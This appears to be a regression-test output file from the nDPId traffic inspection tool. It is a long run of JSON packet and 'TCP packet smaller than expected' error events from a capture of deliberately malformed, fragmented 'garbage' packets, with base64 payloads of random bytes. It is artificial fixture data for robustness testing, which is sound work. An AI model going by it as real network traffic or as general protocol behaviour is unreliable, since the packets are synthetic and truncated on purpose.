-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171518} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171531} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171547} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171557} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171570} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171583} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171595} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171607} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171622} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171636} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171656} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171669} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171684} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171697} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171709} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171721} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171733} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171746} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171774} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171787} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171799} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171813} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":5841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171838} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171857} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171870} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171882} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171897} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171910} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171922} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171935} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171949} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171962} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171975} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":5853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030171987} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172002} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172015} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172028} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172040} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172053} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172066} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172081} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030168906,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030172094} 